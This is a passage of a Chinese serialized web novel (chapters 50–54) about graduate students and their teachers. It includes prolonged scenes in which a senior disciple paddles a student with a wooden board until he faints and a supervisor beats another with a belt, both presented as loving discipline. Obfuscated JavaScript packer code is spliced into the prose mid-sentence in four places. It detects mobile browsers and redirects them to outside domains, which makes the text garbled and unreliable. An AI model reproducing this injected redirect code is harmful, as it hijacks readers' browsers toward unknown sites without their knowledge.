而办公室里的纪慎,罕见地微笑着摇了摇头。 那一头,刘巍思在外面溜达了老半天,又吃了午饭才回去,本以为这个点老师已经休息了,还特地放轻了脚步和开门的动静,却不想,门才开一个缝,就听见老师爽朗的笑声,再一瞧,那陪着老师说话的不就是他心心念念的大师兄? 刘巍思第一反应不是高兴,是尴尬,关了门就手足无措,讷讷地唤了声:“老师。” 易堂生淡淡地看了他一眼,没有说话。严先生仍是笑着,招招手:“今天你大师兄来做饭,本想跟你一块吃午饭的,谁知道你这么迟才回来?送冬冬走了?” “嗯,”刘巍思浑身僵硬,走起路来差点同手同脚,“我在外面呆了一会。” 严先生看看这师兄弟俩,一个是绝不会拉下脸来哄师弟的兄长,一个是最想等着人去哄的小孩,只靠他们两个,恐怕这辈子都说不上话,还是得自己推一把。 “我和你大师兄刚说到你呢,你就回来了。” 刘巍思跟个大姑娘似的,心突然紧了一下,分明还低垂眼眸,却偷偷往大师兄那儿瞟了一眼,强作不在意似的:“说我什么?” 声音一抖一抖的,是个人都听得出来。 这要是换了个人,都得觉得这师弟可爱,可偏偏这是最最古板的易堂生。见他这模样,大师兄只是不满地哼了一声,质问道:“今儿是周末,你不陪着老师,到处跑什么?” “我没有乱跑!”刘巍思一下就被激起来了,说完才反应过来这是大师兄,立刻换了平和的语气解释道,“今天阅冬要走了,我跟遂平送送他,老师都知道的!” “这倒是,堂生你可别什么帽子都往巍思头上扣,不然他又要委屈了。”严先生说着倒了杯茶递给易堂生,易堂生忙双手接过,也知道这是老师在暗示什么,只得放过他,又问:“你那文章给编辑了?” 这可真是拿人手短吃人嘴软,文章的事刘巍思受了他大师兄的恩惠,再怎么也硬气不起来,只得好声好气道:“已经给了,也准备排版了,那个……谢……谢谢……” “大男人说话扭扭捏捏的做什么?” 怎么都被说,刘巍思简直要郁闷死了,偏不能发脾气,只好逼着自己抬头挺胸,大声道:“谢谢师兄!” 那梗着脖子瞪着眼睛的模样,简直跟报告长官似的。 严先生被他逗笑了,易堂生却不笑,又轻哼一声,道:“得你一声谢,还真不容易。” 什么嘛?不谢也不行,谢了也不行? 刘巍思胸口憋闷,道:“我知道错了,我不该跟大师兄闹脾气,差点辜负了师兄的一片心意。” 认错认得很敷衍,却已经是刘巍思的极限了。 易堂生没在言语上过分为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“少扯新宇进来,人家能干出你这种事?”易堂生越看他越生气,一时间都顾不上找什么刑具,拽着他的手一扯,将人按到桌上,扬起巴掌就抽了下去。 “啊!”刘巍思被惊到了,不是疼的,而是这亲昵的方式,一直以来只有老师会这样做的。 易堂生看他一点也不安分,一脚踹在他小腿上:“给我趴好了!今天不收拾你,你不知道大师兄这三个字怎么写!” 50.第 50 章 刘巍思自知今夜屁股难逃一劫,亦无什么忸怩心思,大大方方将裤子褪到膝弯,俯身趴在桌上。 师弟如此乖觉,易堂生却不为所动,只满心想着拿什么来教训他。老师的教鞭这小子还不配用,戒尺对他来说又过分轻便,怕是没两天屁股就好了。易堂生边在书房里寻着打人的东西,边想,改明儿得去给刘巍思做块板子,好好收拾他。 易堂生在书房里看了老半天,最后别出心裁,挑了个谁也想不到能拿来打人的物什。 前些日子有人送了严先生一套梨木的大摆件,雕的是松鹤延年,贺其长寿。严先生很是喜欢,放在书柜里,闲时便赏玩一番。那松鹤延年底座四边是可拆卸的梨木板子,用来固定,也雕了精美花纹。易堂生便是将其中一个长边拆卸出来,拿在手里比划了一阵。 那板子长条形,跟戒尺差不多,但更宽更长,且梨木坚硬,打人显然更疼。刘巍思眼见大师兄拿了这东西,惊慌失措:“师兄,这、这可是人家送给老师的……” 当时还是刘巍思自告奋勇帮老师拼装的底座,自然知道那梨木条有多厚实,这东西要是打上身,屁股真不用要了。 “我当然知道这是哪里来的,”易堂生轻飘飘地瞥他一眼,再次掂量了手中的木条,“老师宠你,想来也不会介意用这东西教训你。” 刘巍思一怔,愤愤想,老师不介意,我介意啊! 可易堂生已经走过来了,一边挥着那木条找手感,一边道:“没什么能教训你的东西,下回我去给你做一块板子,以后每周一先收拾你一顿,看你消不消停!” 刘巍思蓦然睁大了眼睛,每周挨一次大师兄的板子,不如死了算了! “老师没有这种规矩!” “老师没有这种规矩,我有!老师同意,我就是替老师教训你,老师不同意,就是我做师兄的教训你!” 刘巍思兼职要被气死了,他就该一辈子挨打呗! 还一肚子怨气呢,那梨木板子忽然贴上他的臀,刘巍思脊背一凉,不知怎么的竟敏锐地感受出了板子上的花纹,顿时羞红了脸。 易堂生却不管他羞不羞,一脸正气道:“这段时间你犯了多少事,你心里有数,我不和你慢慢掰扯,但你要真知道错了,打多少,打多重,就该有个准数,你若觉得吃到教训了,我便不打了。” 这话听着好商量,可全然不是这么回事。易堂生将主导权交出去,分明是拿捏了刘巍思,料准他不敢挨几下就喊停。 刘巍思更觉大师兄可气,简直是变着法儿折磨他,这下他不仅不能求饶,还得求师兄重打多打——仿佛他是个受虐狂。 可是谁让他是人家师弟呢? 刘巍思一肚子气不知道往哪儿发,也只好认命,趴在桌子上撅了撅屁股,闷声道:“师兄,我知道错了,师兄教训我吧。” 易堂生从不是什么雷声大雨点小的人,既做出了好好教训人的模样,就不可能轻轻揭过。听了他这话,当即抓紧板子,高高扬起,对准屁股,狠狠抽了下去! “啊!”生硬的钝痛撞开身体,刘巍思猛然叫了起来,五官皱缩成包子,脑子一片空白,好一阵才缓过来,不禁腹诽道,大师兄是不是专门练过怎么打人?怎么会这么痛? 可痛归痛,刘巍思在某些方面有种莫名的硬气,分明不想挨打,却偏偏更加撅高了屁股,咬牙道:“师兄重打!” 才挨了一下板子的屁股已经红肿起来,那话里也明显有赌气成分,易堂生却好似看不见,扬起板子,更添了两分力上手,“啪”一声往臀尖抽去! “呃……”刘巍思膝盖一屈,上身完全趴在了桌上,才两板子,他身上就全热乎了起来。 易堂生不催促他,只握着板子静静等待。刘巍思纵然不回头,也知道是什么光景,缓了一会儿,再次撑好,双手握拳,发狠似的:“请师兄重罚!” “啪!”应声而落的板子如了他的愿,刘巍思被火辣辣的痛感逼得惨叫一声,眼角飚出了眼泪。 “师兄,重、重打……” 话显然说得不利索了,但板子没有一点留情,仍旧全力抽打下来,将那个屁股打得通红。 “师兄,我该打,”刘巍思疼得牙齿都在打颤,“我、我撑不住了,你、您按着我……” 易堂生这回倒是大发慈悲,将刘巍思往上提了提,让他上半身都趴在桌子上,然后伸手按住了他的腰,不让他往下滑。 刘巍思松了一口气,至少不用费劲撑着了,可仍然得一字一句地请罚,这在剧痛折磨之下,实在太困难了些。 “师兄,您打吧!” 可易堂生却没那么好糊弄,问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389276|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么打,不用说清楚?” 一颗汗从额边淌下来,刘巍思疼得脸发白,咬咬后槽牙道:“请师兄重重责罚……” 易堂生轻哼一声,这才抬手,梨木板子破风责打下去,“啪”一声把那个屁股打出了一层不鲜明的紫色。 刘巍思忍着疼,再次请罚。 这样的惩戒很耗时间,刘巍思趴在桌上,只觉每一秒都格外漫长,一边挨打一边默数,数到三十多下,已是满头大汗,浑身脱力,屁股更是疼到麻木,几乎没有知觉了。 “师兄,我疼、太疼了……” 易堂生是看着他的屁股的,伤成什么样心里有数,只是不打算轻饶,云淡风轻问:“是疼,但你觉得够了吗?” 在大师兄这里,挨打哪有够的?刘巍思欲哭无泪,狠心回答:“没、没有……” “那就继续。” 不行,这样下去,肯定没完没了,他也再没力气一句句请罚了。刘巍思略想想,干脆道:“师兄,我是知错了的,我也、也甘心受罚,但是我、我没力气请罚了,求师兄看在我诚心认错的份上,饶过我请罚吧。” 这不是假话,易堂生看得出来,思索一番,便放过了他:“不请罚可以,但是打多少,你自己说。” 这下真是送命题了。说多了扛不住,说少了没诚意,真是…… 不过是挨打,要真是打得起不来,也还有老师心疼,可要是没让大师兄满意,以后还不知道有多少苦头吃。 刘巍思两害相权取其轻,宁可一次豁出去被打个够,也不愿意让这事永远缠着自己,立时深呼吸一口气,暗暗打劲,道:“劳烦师兄,重责一百。” 怎料易堂生竟笑了,道:“刘巍思,跟我玩苦肉计,赌我舍不得?” 刘巍思一愣,竟无言以对。天地良心,他怎么可能赌这没人性的大师兄会心疼他? “你既然想挨,”易堂生继续道,“我成全你就是。” 刘巍思还没反应过来,板子立刻从高处抽落,“啪”地打出了他的惨叫。 一百板子,怎么挨得住? 屁股已是紫红色,每一板子下去都绝对会加重伤势,可是刘巍思心知肚明,这一百下绝无少挨一下的可能。 易堂生的话再次让他确证了今夜的难熬:“还有九十九,给我撑住了!” 51.第 51 章 易堂生手起板落,结结实实地抽上刘巍思身后两团肉,“啪啪啪”的责打声在黑夜中格外响亮,仿佛挟着严厉师兄的怒火,令人无处可逃。 刘巍思疼得冷汗直下,但不必再谢罚请罚已是让他心生感激,此时压根不敢再有一句抱怨求情,只乖觉趴伏在桌上,咬牙承受无处可逃的责罚。 臀上一片深紫,皮肉肿起足有两指高,细看那高肿的两团肉,可以发现脆弱的皮肤下星星点点的血痧,似乎下一板落下之时,就会破皮出血。 板子着肉声回响在安静的书房,一声声,好似打在刘巍思的后脑,让他脑子都跟着嗡嗡响,也不知到底响了多少下,最后迷迷糊糊的,只记得冷汗湿了脸,人也再没有力气支撑,眼前一黑,再无知觉。 刘巍思再醒来,已是第二日清晨。他看着熟悉的天花板,再歪头一瞧,果然就是自己熟悉的枕头和床铺,想来是昨晚被送回房了。?昨晚……不知道屁股打坏没有,想到这里,刘巍思忍不住翻了下身,结果疼得“啊”一声嚎叫起来,简直跟被扒皮抽筋一样。 “怎么了?”严先生急急忙忙就赶进来,见小孩子醒了,脸上又没什么委屈神色,便不由得打趣,“总算是被收拾了,看来能消停好一阵。” 看到老师的笑容,刘巍思颇有些愤愤,撇嘴道:“我都要疼死了!” “是你自己送上门去给大师兄打的呀,也不能赖老师是不是?” 刘巍思默默哼了一声,扭过头去不说话了。 严先生仍是笑,却拿了药过来,温声道:“不闹了,老师瞧瞧,上点药,没两天就好了。” “哪好得这么快?”刘巍思一边缓缓翻身,一边龇牙咧嘴道,“他也够狠心的,也不知道打轻点。” 严先生瞧他这副样子,差点就抬手再给他一巴掌:“我看就是打太轻了,惯得你没大没小。” 刘巍思在老师面前,向来如此,听了这话也不怎么怕,只笑道:“我只跟老师没大没小,在大师兄面前,保证恭恭敬敬。” 严先生褪了他的裤子,放轻了手给他上药,本想着小孩子吃点教训也好,可听见他哼哼唧唧地喊疼,心里总是难受。 “你自己收拾一下,老师拿东西进来给你吃。” 刘巍思应了一声,小心翼翼地拉起了裤子。 这不是头一回被打得起不来,刘巍思心安理得地享受着老师的照顾和关怀。本以为老师说拿东西进来给他吃是端碗粥或切点水果,没想到这回拿了个水果罐头进来。 刘巍思奇了:“哪里来的罐头?” “还能哪里来的?你大师兄拿来的,还说得一清二楚,是给你拿的。”严先生坐在床边,打开罐头,递过去一点,“是黄桃的,你最爱吃。” 哪知刘巍思一听大师兄又不乐意了,脑袋一歪,说:“我不吃黄桃的。” 严先生“啧”一声,快要出口的嗔怪又收了回去,耐着性子道:“怎么不吃?” “我要吃橘子罐头。” 严先生被他闹烦了,也不惯着他,起身道:“没有橘子的,黄桃你不爱吃我拿走了,饿死你算了。”说罢,当真抬脚就走,没留给刘巍思一秒钟反应时间。 刘巍思一看,嘴巴动了下,似乎想要挽留他的黄桃罐头,可还是没发出声音来。 这一日,严先生来来回回看了他许多次,可没有一次提起那罐头,刘巍思也多次欲言又止,一双眼睛里明明白白地写着“我想吃黄桃罐头”,严先生却只装傻——啥也看不见。 刘巍思忍了一天,气呼呼地睡了,心想等他好了自己出去吃得了。 这一整夜,刘巍思又疼又烦,一闭上眼睛,满脑子都是黄桃罐头,怎么都睡不着。好容易睡着了,他竟在梦里变成了个衣衫褴褛的小乞丐,蜷缩在街角乞讨,面前放一个缺了一角的瓷碗,仰着脑袋,泪眼汪汪地看着街上来来往往的人们。不一会儿,他面前来了一个穿着白色衬衣米色长裤的男人,还跟柏阅冬似的,腰上扎一根棕色皮带。小乞丐抬起头,分明看见了大师兄那张不苟言笑的脸,他张张嘴,却什么声音都发不出。 “大师兄”从口袋里掏出两个硬币,“哐啷”丢进他的破碗里。小乞丐眨眨眼,道:“我要吃罐头,橘子的。” “大师兄”不知从哪里变出了一块长板子,就跟在书房时打他那块一模一样,吓得小乞丐缩成了一个球。 板子在小乞丐身上敲了敲,像是一种警告,随后“大师兄”的声音传来:“没有。” 刘巍思浑身一抖,竟是惊醒了——那声音明明是老师啊! 在黑暗中缓了好一会儿,刘巍思才平静下来,他真是想罐头想疯了! 熬到天光大亮,刘巍思却恹恹的,到底是没睡好,根本没精神。 可是再没精神,看到老师拿着罐头进来的那一瞬间,刘巍思都差点跳起来! 他盯着那罐头,有种强烈的预感——这罐头肯定是橘子的! “老师……” 严先生真是拿他没办法,这么大个人了,总是跟个孩子似的,也不知道是不是自己宠得太过了。可眼下他也真被宠成这样了,还能让他改不成? “今儿应该能起来了,自己起来吃,今天可不许再说不吃了。” 刘巍思仍躺在床上,直勾勾地盯着老师:“黄桃的还是橘子的?” 严先生摇摇头,满是无奈:“橘子的,行了吧?” 刘巍思这才咧出一个笑,慢慢翻身起床,双手接过罐头,舀了一勺送进嘴里。 甜丝丝的。 严先生最是喜欢他这乖巧的模样,心中怜爱,在他身侧坐下,问:“这下高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475484|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了没有?” 刘巍思边吃边点头,又问:“老师哪里来的橘子罐头?” “你说呢?总不能是我大清早出去给你买的。” 答案呼之欲出,可刘巍思不知怎么的,有点不好意思了,没有再说话。 严先生拍拍小孩,道:“以后不许再说什么大师兄偏心别人的话,也不许跟大师兄闹脾气,顶嘴,知道没有?” “知道了。”刘巍思闷闷地应了一声。 严先生知道他脸皮薄,没有在此事上多纠缠,及时转移了话题:“今天应该能下床了,来帮老师看文章,还有你的论文框架,咱们再讨论讨论,要是没问题,暑假你就开始起初稿。” 干正事还行,刘巍思立刻严肃地点了点头,三下五除二吃完橘子罐头,收拾利索,跟着老师干活去了。 暑假过得飞快,无论是在外面到处风流,还是在学校埋头苦读,一转眼最热的七月就过完了,再一转眼,柏阅冬就从欧洲回来了。 彼时已是八月下旬,柏阅冬带着一大堆礼物笑眯眯地到了秦昭阳跟前:“师父,徒儿来给您请安了。” 秦昭阳坐在办公桌后,眼睛微眯,不住打量着柏阅冬,试图在他满是假笑的脸上找到一丝蛛丝马迹——秦嘉辰是上周回来的,柏阅冬这周就到,很难让人不起疑心。 也是为着防范他们两个,秦昭阳甚至不愿意让柏阅冬到家里去,只在办公室和他见面。 “都去哪儿过暑假了?” “就,跟我爸妈在一起啊,我很乖的。” 秦昭阳轻哼一声,显然不相信他的说辞,脑子一转,抛出了一个更可怕的问题:“你毕业论文选题呢?” 孰料柏阅冬早有准备:“师父,我准备研究晏!几!道!” “晏几道?”秦昭阳差点跌破眼镜,“你哪里来这么多偏门的研究?现在百废待兴,多少大家名家都没研究到,你给我研究什么晏几道?” “师父,您这样说就不对了,就是有人研究才出名啊!我现在研究晏几道,以后他就是名家,一说起晏几道,都绕不过我柏阅冬去。”柏阅冬一说这个,原形毕露,得意极了,“再说了,晏几道的爱情词写得多好啊,当时明月在,曾照彩云归。师父,我不相信您一点都不动心!” 秦昭阳头痛,这死小孩主意太大了,根本不需要什么导师! “师父,我下个月就可以把文献综述写出来,十月就可以搭好框架,年底就可以写完初稿,”柏阅冬越说越兴奋,却突然意识到不对劲,“唉?这样,我明年就可以毕业啦!” 秦昭阳:“……” “你没有发现吗?你的规划里根本不需要考虑你师父我。” “是哦。”柏阅冬不好意思地挠挠头,心想,等我要结婚的时候,还是要充分考虑您的意见的。 52.第 52 章 “你是怎么糊弄我爸的?”秦嘉辰一边用手指长的小木条挖小碗里的冰淇淋一边问。 柏阅冬抬手把女孩额前的一绺碎发别到耳后,笑道:“什么糊弄?那叫机智应对!”简直得意坏了。 手里的小碗很快见了底,物质匮乏的年代,能吃上巴掌大的冰淇淋碗几乎是所有小孩的梦想,柏阅冬财大气粗的,每次跟秦嘉辰出来都给她买一个,就喜欢看女孩在细碎的阳光底下歪头挖冰淇淋的模样。 秦嘉辰恋恋不舍地舔了唇边残留的一丝甜味,满足地眯起眼睛:“吃完了。” 柏阅冬替她丢了垃圾,伸手道:“回去?” 女孩蹦跳着牵了他的手,问:“咱们晚上还一起吃饭吗?” “不行,我答应师父开学之前要把元好问的词学思想写出来的,今晚得写一点,不然他又要骂我。” 还有一周才开学,但校园里已是教师学生来来往往,柏阅冬和秦嘉辰边走还得边留意,千万不要被秦昭阳瞧见了。 “那,我明天给你打电话?姜新宇那家伙肯定在他们家叫一堆人开party,再显摆他那几瓶红酒,办公室里就你和庄师兄,应该不要紧。” 柏阅冬瞧她对姜新宇咬牙切齿的模样就想笑,打趣道:“你对姜新宇还挺了解?” “什么呀?他们那群人还不都那样?一个个不学无术,纨绔子弟!” 柏阅冬心想,姜新宇倒也不算不学无术,只是做人精明圆滑过头罢了。 不多时,两人就走到学院楼底下了,秦嘉辰舍不得跟小男朋友分开,拉着他的手道:“我跟你上去。” “等会师父瞧见了。” 一说这个秦嘉辰就烦:“他干嘛不许我们两个谈恋爱?老古板。” 柏阅冬笑了笑,捏捏她的脸:“好了,回去吧,有事给我打电话。” 秦嘉辰恨不得黏在他身上,陪着走到楼梯口:“你先上去,我在这里看着你。” “那我走了。”柏阅冬最后握握女孩子软软的小手,抬脚上了楼梯,才走了两阶,又不由自主回头,笑着朝她挥了挥手。 当真是一步三回头,柏阅冬脸上的笑意都没淡过,好容易拐上了二楼,冷静下来想想,也不免认为自己太离谱了。 可是那样清澈的笑,却在抬头看见眼前人时,蓦然消失。 秦昭阳站在三楼的楼梯口,一言不发地盯着他,像一匹狼,也如一头鹰,目光几乎射穿他。 柏阅冬喉头一紧,下意识朝下望去,只见女孩的身影在底下晃来晃去,终于迈步离开。 秦昭阳“蹬蹬蹬”几步下楼,走得很急,柏阅冬却往前一靠,无声地拦住他的去路。 秦昭阳不悦,狠狠地盯着他,柏阅冬却只是知错似的垂下头,没有发出一点声音。 一而再再而三地违抗师命,放在古代,是要被打死的——当然,现在也差不多,柏阅冬想。 “你跟我回去。”秦昭阳抓住柏阅冬的手臂。 “不,师父有什么事,在办公室就可以解决。” 师徒俩都知道对方在想什么,秦昭阳试图以教训柏阅冬给秦嘉辰施压,但柏阅冬绝不可能让此事成行。 秦昭阳气得头痛,一句话在口腔里磨了千百遍,终于道:“你不愿意听我的话,也不必做我的学生!” “不!”柏阅冬坚决道,“我一定要师父,也一定要辰辰。” “你!”秦昭阳扬手,掌风呼过,巴掌却猛然停住,落不下去。 柏阅冬没有任何躲闪,仰着头道:“师父打吧。” “我打你有什么用?”秦昭阳大口喘气,胸膛一起一伏的,跟柏阅冬对视了好一阵,扭头往办公室去了。 柏阅冬见状,连忙跟上,进了办公室之后顺手反锁了门。 秦昭阳坐在椅子上生闷气,没有打他的意思。可柏阅冬却自觉上前,默默解开腰上的皮带,对折塞到秦昭阳手里:“师父生气,就打我几下吧,别憋着了。” “啪”一声,秦昭阳一皮带抽在桌面上,震得手心发麻:“我打你你就会听话吗?” “不会。” “那我打你干什么?浪费力气?” “可是我也始终不明白师父为什么这样生气?为什么我和辰辰就是不能在一起?” “这有什么不明白的?你和她在一起,你能和她结婚吗?” “为什么不能?” “她明年这时候就出国了,你呢?” “我……”柏阅冬卡了一会,立马道,“我明年这时候也毕业,我就跟着她去了!” 秦昭阳死死咬住后槽牙,盯他的目光几乎喷出火来,沉默间忽然猛地起身按住他,扬起皮带,“啪啪啪”地抽了下去,不拘什么地方,跟泄愤一般胡乱抽打一通。皮带落在臀上、背上、腰上,柏阅冬根本无法预知那火辣的疼痛会落在哪里,两手抱住头,“啊啊”地叫唤着,刚觉着单薄脊背上划过一道剧痛,立刻下意识地伸手去挡,不料那皮带兜风便抽在手背上,疼得他惨叫一声,抱着手逃开了。 看学生弓着腰,将手捂在肚子上,秦昭阳才知道刚才打到了何处,眼里闪过一丝懊悔,可仍是被恼怒盖了过去,拿皮带指着他骂:“你毕业就跟 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秦昭阳眉心一蹙,不可置信地看着他,却只看见他垂着头,单手将皮带系回腰上,又变回了那个干净飞扬的柏阅冬。 有点晚了,柏阅冬到他们的校对办公室一看,姜新宇的桌子收拾得整整齐齐,还是之前的模样,应该很久没来了,庄遂平的桌子上书比之前多了很多,但人不在,许是回宿舍去了。 柏阅冬想了想,也整理了今晚要用的资料,一并抱回宿舍了。 男生宿舍已有些许喧闹,是暑假留校和提前返校的学生,或是霹雳乓啷地收拾行李,或是嘻嘻哈哈地打闹,柏阅冬正走在廊道里,忽然冲出一个只穿着裤衩的男生,差点把他撞倒,又赶紧道歉,柏阅冬笑笑,继续往宿舍去了。 寝室门开着,柏阅冬一进门就喊遂平,庄遂平正看书呢,听见这声,立刻扭头开瞧,接着便起身接过他手里的东西。 “怎么带这么多东西回来?” “那篇文章,之前材料都找好了,框架也有了,本来打算这几天写出来的,我师父说明早要看初稿,只好搬回来今晚写。” 庄遂平帮他放好东西,刚想说一晚上怎么写得出来,一转头却看见柏阅冬肿得像猪蹄的右手,不禁愣了:“阅冬,你的手……” 柏阅冬试着动了一下,还是牵扯得厉害,整个手背连着手指根部都高高肿起,泛着可怖的紫色。 “秦老师……” “没有,我自己撞的。”柏阅冬淡淡道,“应该不要紧。” 庄遂平心知肚明,也没有再问。 53.第 53 章 “你这个样子,怎么写论文?” 柏阅冬手中稿纸微微一颤,尴尬道:“应该晚点就好了。” 庄遂平在书桌的隔板上取了一瓶药酒递过去:“涂药,我帮你写。” 柏阅冬没拒绝,放下稿纸接过药酒,在凌乱的桌子上翻出一包药棉,随便扯了点就坐一边涂药去了。 庄遂平低头看他,犹豫片刻,道:“阅冬,要是秦老师实在不同意……” “不可能!”柏阅冬直接打断了他,“除非是我自己不想,否则我绝不可能放弃。” “你这不是……不是瞎较劲吗?”庄遂平简直拿他没办法,可转头一想,柏阅冬不就是这么个人么,他想在会议上读论文,就千方百计地退稿,再去出那一场风头;他要和秦嘉辰谈恋爱,就想尽办法和女孩约会,甚至不惜跑到国外去。要是秦老师不同意他就算了,那还真不是柏阅冬了。 “算了,你就是这么个人,严老师总说怕你以后要吃亏,我看也是。”庄遂平没话了,愤愤抓了他桌上的稿纸,挺不高兴,“题目是什么?” “论元好问的词学思想。” “然后呢?”庄遂平拔开钢笔盖,边写边问,“绪论?还是引言?” “前面那俩字不写也不要紧,先介绍下元好问,你等着,我念给你。”柏阅冬收拾了药,“哗啦啦”地翻起他那一堆东西,一句一句读给庄遂平写。 一篇论文,哪怕已经有了框架和材料,可是如何把材料放进去,如何组织语言,都是花时间的事。两个人一个读一个写,中间还讨论一会这么写衔接是否恰当语句是否通顺,第一遍就花了好几个小时。残月当空,外面的喧哗不知何时已成沉寂。 六七页的稿纸,几乎每一行都有涂改。庄遂平打开墨水瓶,将钢笔尖放进去吸墨:“是抄出来再改还是直接这么改再抄?” 好些地方已经看不出正确的语序了,要是柏阅冬,肯定是先工工整整抄一遍,再换红色墨水改,改完又抄,这才算是初稿,能拿到秦昭阳跟前。可是这会都半夜了,庄遂平跟着他熬,给他当写字员,他实在过意不去。 “就这么改吧,省事儿,我拿支红墨水笔来。” “不用,我这有。” 庄遂平换了支钢笔,在稿纸边上划了下,确定是红色的。 柏阅冬把论文拿到自己面前来,道:“我一句一句念,你听听。” 元好问,字裕之,号遗山…… 柏阅冬读得很慢,庄遂平听得认真,俩人一块琢磨着哪句话不对劲,哪句话能改得更好。 “目前学界对元好问的研究大多集中于诗……会不会有点笼统?诗歌创作?但是这样就把他的诗学思想排除了……” “就说诗吧,跟后面词相对。” “行,那我继续。” 外头一片漆黑,万籁俱寂,屋内灯光明亮,照出两个伏台写字的身影。 “通过爬梳大量文献……” “相关文献吧?大量也太套话了。” “相关也很套话啊!” “嗯……那要不然去掉这一句……” 两个人改了两个多小时,这几张稿纸几乎没有一点空白处,全是黑黑红红,有些地方字太多了,直接糊成一团。柏阅冬打了个哈欠,眼底泛出了泪水:“这个再、再誊抄出来,估计有八九页了。” 庄遂平眼睛也红红的,起身拿稿纸:“你去睡吧,我给你抄出来就行。” “哪能啊?你替我干活,我睡觉?我在你心里就是这么缺德的人?改明儿让巍思知道了,不知道怎么打我呢!” 庄遂平笑笑:“他怎么会打你?” “你少来了,以为我不知道?他老向着你!” 庄遂平也不争辩,只笑着摇摇头,提笔抄起文章来。柏阅冬也不闲着,歪个脑袋,碰上一些糊成一团的,就一个字一个字念出来。 “哎,抄错一个字,不打紧吧?” “有什么好打紧的?整篇文章没一个字是我的手写的,秦昭阳他爱看不看!” “你手呢?好些没有?” “好像消一点了,”柏阅冬动了下手指,还是疼,“没事儿,明天就到秦昭阳跟前去给他瞧瞧。” “你别老是这么喊秦老师大名,别人听见了,以为我们多不懂事呢!”只有柏阅冬一个人这么不懂事,但庄遂平还是说“我们”。 “我心里有数,也就跟你们这么说,我在辰辰跟前都是一口一个师父呢!” 柏阅冬腕上的表滴滴答答,已经走到四点了,文章还有一半没抄。柏阅冬有些扛不住,揉了揉眼睛,没精神了。 倒是庄遂平没见困,抄得又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596732|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认真又起劲,把柏阅冬看笑了:“遂平,暑假我不在,你干啥了?这么有精神。” “有什么精神?睡不着么,习惯了。” “什么睡不着?” 庄遂平笔尖一顿,脸上的笑僵了僵,道:“没什么,熬一晚不是事儿,明天我睡回来就行。” 柏阅冬点点头,没把这事放心上,含糊道:“等这文章写好了,我请你吃饭去,不喊巍思。” “行,随你,要是他来跟你闹,我可不管。” “他才没空跟我闹,”柏阅冬去自己的小柜子里拿了两瓶白瓷瓶酸奶来,开盖给庄遂平递了过去,“他跟严老师易师兄就有得闹了。” 酸奶刚到嘴边,庄遂平的笑却有点不是那个意思了,干脆换了个话题:“咱们仨什么时候再像以前一样一起看书?你之前说的,开读书沙龙。” 柏阅冬仅有一点敏感心思,都用到秦嘉辰身上了,对待庄遂平那叫一个粗糙,压根没察觉到他的情绪转变,只道:“还读书沙龙呢,咱俩现在一个办公室干活,巍思一来慰问,不就三个人了吗?” “不一样,总觉得那会开心一点。” “你也别说现在不开心,等以后你毕业回家工作去了,再想起今晚,”柏阅冬发挥想象力,顿时困劲都没了,“啧啧啧,不知道多怀念。” 庄遂平放下瓷瓶,继续抄文章:“我不会回去的。” “为什么?” “我没有家。” 没有家?这会柏阅冬怎么也不可能忽略了,想起刘巍思之前生病的时候说他是遗腹子,不由得心想,庄遂平不会父母双亡吧?他的同学一个个的都这么惨? 庄遂平很自觉,慢慢道:“我们家四个孩子,我是老二,大哥总是很受器重的,老幺最讨人疼,还有个妹妹,嫁人了,爸妈也很惦记。只有我,什么也没有。” 柏阅冬没有这种经历,也不会安慰人,挠挠头,僵硬道:“不回就不回吧,你再读个博士,留下来接纪老师的班。” 庄遂平看着他,好像在说他幼稚,可只是淡淡笑着,摇摇头:“不知道,再说吧。” 柏阅冬怔了一下,总觉得遂平那摇头分明说的是,他不会留下的。 可是他又说不知道,那到底是不会呢,还是不知道呢?柏阅冬没有答案,晃晃脑袋,不想了。 54.第 54 章 五点睡,七点醒,柏阅冬脑袋昏昏沉沉地赶去澡堂洗了个囫囵澡,连早饭也赶不上吃,揣上那份稿子和纪老师送他的戒尺就找师父去了。 八月底的暑气稍微退散了些,清晨不见得很热,路上看到不少学生老师匆忙来去,去食堂的、去图书馆的,还有到学校外头去的,方向五花八门。 柏阅冬“吭哧吭哧”小跑着上了三楼,推开门,秦昭阳果然已经到了。 